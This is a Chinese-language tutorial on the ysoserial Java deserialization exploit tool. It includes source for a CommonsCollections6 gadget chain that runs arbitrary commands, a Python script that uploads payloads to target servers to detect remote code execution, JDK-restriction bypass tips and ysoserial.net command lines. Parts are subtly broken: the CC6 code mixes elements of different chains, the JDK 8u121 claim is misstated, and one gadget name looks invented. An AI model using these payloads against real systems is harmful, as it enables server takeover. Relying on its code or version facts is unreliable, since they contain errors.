一、ysoserial 是什么

ysoserial 是由 Frohoff 开发的 Java 反序列化利用工具,自 2015 年开源以来一直是反序列化攻击的事实标准。它的核心能力是给定一个目标链(Gadget)和一个执行载荷(Payload),生成可直接喂给 ObjectInputStream 的序列化字节流。

java -jar ysoserial.jar CommonsCollections6 'touch /tmp/pwned' > payload.bin
java -jar ysoserial.jar CommonsCollections6 'id' | base64 -d > payload.bin

二、项目结构

ysoserial/src/main/java/ysoserial/
├── payloads/
│   ├── CommonsCollections1.java
│   ├── CommonsCollections6.java
│   ├── CommonsCollections8.java
│   ├── BeanUtils1.java
│   ├── Shiro.java
│   └── Spring1.java
├── Payload.java          // Payload 接口
├── PayloadRunner.java    // 主程序
├── Serializer.java
└── Utils.java

2.1 Payload 接口

public interface Payload<T1, T2> {
    T2 getObject(T1 command) throws Exception;
}

2.2 @Payload 注解注册

@Payload(author = "@matthias_kaiser",
    url = "https://blog.chaitin.cn/2015-11-11_java_unserialize_02/",
    dependencies = {"commons-collections:commons-collections:3.1"})
public class CommonsCollections6 implements Payload<Object> { ... }

2.3 PayloadRunner 主入口

public class PayloadRunner {
    public static void run(final Class<? extends Payload> payloadClass,
                           final String[] args) throws Exception {
        Payload payload = payloadClass.newInstance();
        Object object = payload.getObject(args[0]);
        byte[] bytes = Serializer.serialize(object);
        System.out.println(Base64.getEncoder().encodeToString(bytes));
    }
}

三、CC6 Payload 源码解析

public class CommonsCollections6 implements Payload<Object> {
    public Object getObject(final String command) throws Exception {
        final String[] execArgs = new String[]{command};
        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class}, execArgs)
        };
        final Transformer chainedTransformer = new ChainedTransformer(transformers);
        final Map map = new HashMap();
        final Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        final Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        final Constructor<?> ctor = cls.getDeclaredConstructor(Map.class, Class.class);
        ctor.setAccessible(true);
        final Object aih = ctor.newInstance(lazyMap, Retention.class);
        final Transformer[] transformers2 = new Transformer[]{
            new ConstantTransformer(aih),
            new InvokerTransformer("getAnnotation",
                new Class[]{Class.class}, new Object[]{Override.class}),
            new InvokerTransformer("hashCode",
                new Class[0], new Object[0])
        };
        final TransformingComparator comparator = new TransformingComparator(
            new ChainedTransformer(transformers2));
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add("1"); queue.add("1");
        final Field field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        final Object[] queueArray = (Object[]) field.get(queue);
        queueArray[0] = aih; queueArray[1] = aih;
        return queue;
    }
}

四、本地调试

4.1 独立调试器

import java.io.*;
import java.util.Base64;

public class DebugDeserializer {
    public static void main(String[] args) throws Exception {
        byte[] payload = Base64.getDecoder().decode(
            new String(Files.readAllBytes(Paths.get(args[0]))));
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload)) {
            @Override
            protected Object resolveClass(ObjectStreamClass desc) throws Exception {
                System.out.println("[*] Resolving class: " + desc.getName());
                return super.resolveClass(desc);
            }
        };
        Object result = ois.readObject();
        System.out.println("[+] Result: " + result.getClass().getName());
        ois.close();
    }
}

4.2 Docker 隔离调试

FROM openjdk:8-jdk-slim
RUN apt-get update && apt-get install -y wget maven
WORKDIR /app
COPY ysoserial.jar .
CMD ["java", "-jar", "ysoserial.jar", "CommonsCollections6", "id"]

4.3 常见错误定位

错误 原因 修复
InvocationTargetException 链中间反射失败 检查 JDK 版本,Runtime.exec 在 u121+ 受限
ClassNotFoundException 目标无对应 CC 版本 换 CC7/CC4 链或加 -cp 指定 jar
InvalidClassException: filter status JEP 290 白名单拦截 -Djdk.serialFilter=org.apache.commons.collections.;!

五、批量检测脚本

import subprocess, socket, time, base64, sys

def gen(gadget, cmd):
    r = subprocess.run(["java","-jar","ysoserial.jar",gadget,cmd],
                       capture_output=True)
    return base64.b64decode(r.stdout.strip())

def test_http(host, port, gadget, cmd="sleep 3"):
    payload = gen(gadget, cmd)
    import requests
    files = {"f": ("a.bin", payload)}
    try:
        r = requests.post(f"http://{host}:{port}/upload", files=files, timeout=10)
        return r.elapsed.total_seconds() > 3
    except Exception as e:
        print(f"[-] {gadget}: {e}")
        return False

GADGETS = ["CommonsCollections1","CommonsCollections6","BeanUtils1","Spring1"]
target = sys.argv[1]
for g in GADGETS:
    if test_http(target, 8080, g):
        print(f"[!] {g} triggered RCE")
    else:
        print(f"[-] {g} not vulnerable")

六、局限与绕过

新版 JDK 8u121 之后 Runtime.exec 加了反射检查——Method.invoke 会检查 setAccessible 且是 private,抛出 InaccessibleObjectException。绕过方法是改成调 TemplatesImpl.defineTransletClasses 加载自己的字节码。CC4 的 InvokerTransformer 和 CC3 不兼容,ysoserial 有 CC7/CC8 专门对应 CC4。Shiro 1.4+ 默认 key 变了,需要动态探测。

七、自定义 Payload 开发

如果发现了新的 gadget 链:

@Payload(author = "@you", dependencies = {"mygadget:1.0"})
public class MyNewChain implements Payload<Object> {
    public Object getObject(final String cmd) throws Exception {
        // 把新链的末端换成 cmd 执行
        MyGadget gadget = new MyGadget();
        gadget.setCommand(cmd);
        // 构造完整 payload object
        return gadget.buildPayload();
    }
}

打包后替换 ysoserial.jar 里的对应 class,就能在主程序里直接 -g MyNewChain 使用。

八、总结

ysoserial 的精髓在于把"发现链"和"利用链"模块化——任何发现新链的人只要实现 Payload 接口并加注解就能贡献。学习它的最佳路径是先读懂 CC6 Payload 源码,再自己实现一个简化版,最后尝试扩展新的 gadget 链。工具本身是中性的,防御侧应该关注类加载路径的白名单控制。

九、ysoserial 各 gadget 适用场景

Gadget 依赖 JDK 场景
CommonsCollections1 CC 3.x/4.x 通用
CommonsCollections2 CC 3.x CC 2 版本
CommonsCollections5 CC 3.x 7u21+ 绕过 AIH
CommonsCollections6 CC 3.x CC1 变体
CommonsCollections7 CC 3.x Hashtable 入口
CommonsCollections8 CC 4.x CC 4 版本
CommonsBeanutils1 BeanUtils + CC Spring 环境
Spring1 Spring Spring AOP
Shiro Shiro + CC rememberMe
Fastjson1 Fastjson @type 注入
Jdk7u21 7u21+ 纯 JDK 无依赖
Jdk8u20 8u20+ 纯 JDK
Groovy1 Groovy Groovy 环境
Clojure1 Clojure Clojure 环境
JRMP JRMP RMI

十、ysoserial 与 JDK 版本

JDK 8u121+ / 11.0.8+ 有 Runtime.exec 反射限制。CC 链直接调 Runtime.exec 的 Payload 在这些版本会失败。解法:

  • 换成 TemplatesImpl 版本的 Payload(不调 Runtime.exec)
  • 用 ysoserial 的 CommonsCollectionsX (TemplatesImpl version)
  • 或者先探测 JDK 版本,动态选择 Payload

十一、ysoserial.net 与 .NET

.NET 平台也有类似工具:

ysoserial.exe -L
ysoserial.exe -g TypeConfuseDelegate -c "cmd /c calc.exe" -o raw
ysoserial.exe -g SonOfAnala -c "cmd /c whoami" -o raw

十二、和 ysoserial 类似的其他工具

工具 语言 说明
ysoserial.net C# .NET 版本
ysoserial-phar PHP PHP Phar 反序列化
serializr Python 在线 payload 生成
ffastjson Python Fastjson 专用
CommonsCollectionsExploiter Python CC 链自动探测
gadget-check Python 反序列化 gadget 检查

十三、总结补充

ysoserial 把 Java 反序列化攻击的门槛降到了"下载一个 jar 就能打"的程度。但理解原理仍然重要——当目标 classpath 很特殊时,你需要自己修改 Payload 或组合多个 Payload 才能成功。工具是武器库,但使用者需要懂每种武器的原理和限制。